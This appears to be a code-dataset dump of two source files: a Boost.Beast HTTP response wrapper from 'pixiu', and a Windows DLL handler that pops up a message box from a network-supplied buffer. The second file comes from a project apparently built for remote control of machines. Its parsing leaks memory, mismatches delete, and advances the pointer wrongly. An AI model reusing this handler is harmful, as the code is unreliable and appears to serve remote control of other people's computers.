include/pixiu/server/response.hpp
CHChang810716/pixiu
4b599c27c7ab2e402f6a6354fd4e7e6a11ab0a9c
[ "MIT" ]
5
2021-01-13T14:10:22.000Z
2021-01-23T17:54:35.000Z
include/pixiu/server/response.hpp
CHChang810716/pixiu
4b599c27c7ab2e402f6a6354fd4e7e6a11ab0a9c
[ "MIT" ]
1
2020-04-14T18:22:08.000Z
2020-04-14T18:22:08.000Z
#pragma once #include <boost/beast/http/message.hpp> #include <variant> #include <boost/beast/http/string_body.hpp> #include <boost/beast/http/empty_body.hpp> #include <boost/beast/http/file_body.hpp> namespace pixiu::server_bits { namespace __http = boost::beast::http ; using response_base = std::variant< __http::response<__http::string_body>, __http::response<__http::empty_body>, __http::response<__http::file_body> >; struct response : public response_base{ using base = response_base; using base::base; template<class Sender> auto write(Sender& sender) { return std::visit([&sender](auto&& arg){ return sender(std::move(arg)); }, static_cast<base&>(*this)); } template<class Func> auto apply(Func&& func) { return std::visit([&func](auto&& arg){ return func(arg); }, static_cast<base&>(*this)); } }; }
26.242424
44
0.688222
CHChang810716
cf6cd1a0c64297f7bbb38e71b6df9c875e1d7b5b
560
cpp
C++
LittleBearDllNew/function/MessageBoxProc.cpp
satadriver/LittleBear
ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5
[ "Apache-2.0" ]
null
null
null
LittleBearDllNew/function/MessageBoxProc.cpp
satadriver/LittleBear
ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5
[ "Apache-2.0" ]
null
null
null
LittleBearDllNew/function/MessageBoxProc.cpp
satadriver/LittleBear
ad3939f971b1c3ac4a97d2c228e52b4eb1f388e5
[ "Apache-2.0" ]
null
null
null
#include <windows.h> #include "../network/NetWorkData.h" int __stdcall MessageBoxProc(char * msgparam){ char * param = msgparam; int caplen = *(int*)param; param += sizeof(int); char *szcap = new char[caplen + 4]; memset(szcap,0,caplen + 4); memmove(szcap,param,caplen); param += caplen; int textlen = *(int*)param; char * sztext = new char[textlen + 4]; param += sizeof(int); memset(sztext,0,textlen + 4); memmove(sztext,param,textlen); param += sizeof(int); MessageBoxA(0,sztext,szcap,MB_OKCANCEL); delete msgparam; return TRUE; }
17.5
46
0.675
satadriver